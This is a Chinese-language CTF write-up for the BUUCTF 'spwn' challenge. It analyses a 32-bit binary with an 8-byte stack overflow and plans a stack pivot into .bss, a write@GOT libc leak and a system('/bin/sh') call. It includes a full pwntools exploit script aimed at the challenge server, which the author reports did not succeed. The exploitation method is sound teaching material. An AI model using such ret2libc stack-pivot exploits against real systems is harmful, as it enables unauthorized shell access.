# 1. 程序分析
32 位程序,开启 NX
源程序:
main:
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
vul_function(); | |
puts("GoodBye!"); | |
return 0; | |
} |
vul_function:
ssize_t vul_function() | |
{ | |
size_t v0; // eax | |
size_t v1; // eax | |
char buf[24]; // [esp+0h] [ebp-18h] BYREF | |
v0 = strlen(m1); | |
write(1, m1, v0); | |
read(0, &s, 0x200u); | |
v1 = strlen(m2); | |
write(1, m2, v1); | |
return read(0, buf, 0x20u); | |
} |
可以看到 write 是输出两句话,但是 read 可以进行溢出
没有后门函数,起初发现发现第一个 read 会写入到 bbs 段,我们构造 shellcode
,但是发现 bbs段
没有可执行权限(bbs 段在 0804A0E0
开始)
# 2. 漏洞分析
我们可以在 bbs 段写入大量数据,但是没有执行权限不能用 shellcode,第二个 read 只能溢出 8 个字节,这使我们可以覆盖 ebp 和 ret
这里我们就可以利用栈迁移,迁移到 bbs 处,不过我们还需要泄露 write_got 地址,使我们能得到 system_plt 地址,通过栈迁移来执行
利用方式:
- 利用第一个 read 读入伪造的栈低地址(fake_ebp), 然后写入
p64(write_plt)+p32(vuln)+p32(1)+p32(write_got)+p32(4)
来泄露 write 地址,并返回到该函数起始处(但是这时只是构造,还没有执行) - 利用第二个 read 溢出覆盖 ebp 为
fake_esp
覆盖 ret 为leave_ret
(通过 rop 工具查找),此时便会去执行返回到 vuln 起始 - 利用获得的 write 地址来得到 libc 基址,从而得到 system 地址,通过第一个 read 写入 system 地址,和
/bin/sh
地址,在利用第二个 read 执行栈迁移来 getshell
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
#context.log_level = 'debug' | |
context(os='linux', arch='i386', log_level='debug') | |
#p=process('./spwn') | |
e=ELF('./spwn') | |
p=remote('node4.buuoj.cn',26979) | |
write_plt=e.plt["write"] | |
write_got=e.got["write"] | |
bbs_esp=0x0804A300 | |
bbs_ebp=0x0804A4FF | |
leave_ret=0x08048408 | |
vuln=0x804849B | |
main=0x8048513 | |
p.recvuntil("name?") | |
payload1=p32(bbs_ebp)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4) | |
p.send(payload1) | |
p.recvuntil("say?") | |
payload2=b"a"*(0x18)+p32(bbs_esp)+p32(leave_ret)#+p32(leave_ret) | |
p.send(payload2) | |
write=u32(p.recv(4)) | |
log.info("wiret="+hex(write)) | |
libc=LibcSearcher("write",write) | |
libc_base=write-libc.dump("write") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
p.recvuntil("name?") | |
payload1=p32(bbs_ebp)+p32(system)+p32(0)+p32(binsh) | |
p.send(payload1) | |
p.recvuntil("say?") | |
payload3=b"a"*(0x18)+p32(bbs_esp)+p32(leave_ret) | |
p.send(payload3) | |
p.interactive() |
由于改题目用的是 Ubuntu16 版本,里面的 libc 已经停用了,利用 LibcSearcher 远程查找库也没有找到,所以未果